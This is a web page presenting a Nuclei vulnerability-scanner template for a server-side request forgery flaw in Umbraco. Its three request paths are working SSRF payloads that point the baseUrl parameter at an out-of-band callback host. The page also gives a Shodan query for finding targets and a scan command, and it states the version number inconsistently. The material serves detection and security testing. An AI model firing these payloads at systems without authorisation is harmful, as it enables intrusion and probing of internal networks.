Umbraco 8.14.1 - baseUrl Server-Side Request Forgery (SSRF)

ID: umbraco-base-ssrf

Severity: medium

Author: dhiyaneshDk

Tags: oast,edb,ssrf,umbraco

Description

Umbraco 8.1.4.1 allows attackers to use the baseUrl parameter to several programs to perform a server-side request forgery (SSRF) attack.

YAML Source

id: umbraco-base-ssrf

info:
  name: Umbraco 8.14.1 - baseUrl Server-Side Request Forgery (SSRF)
  author: dhiyaneshDk
  severity: medium
  description: Umbraco 8.1.4.1 allows attackers to use the baseUrl parameter to several programs to perform a server-side request forgery (SSRF) attack.
  reference:
    - https://www.exploit-db.com/exploits/50462
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 6.8
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.html:"Umbraco"
  tags: oast,edb,ssrf,umbraco

http:
  - method: GET
    path:
      - '{{BaseURL}}/umbraco/BackOffice/Api/Help/GetContextHelpForPage?section=content&tree=undefined&baseUrl=http://{{interactsh-url}}'
      - '{{BaseURL}}/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardContent?section=TryToAvoidGetCacheItem111&baseUrl=http://{{interactsh-url}}/'
      - '{{BaseURL}}/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=http://{{interactsh-url}}/'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: dsl
        dsl:
          - "len(body_1)==0"
          - "len(body_2)==0"
          - "len(body_3)==0"
# digest: 4a0a0047304502200cbb8713d9f425010536109f4ca0339536122291c5a0b3f07d1e873fc8701d8e022100b83a29c51ca04f2f3f57a2e388e493fa7df7867e2bfb16a393ebbe50f68fa399:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/umbraco-base-ssrf.yaml"

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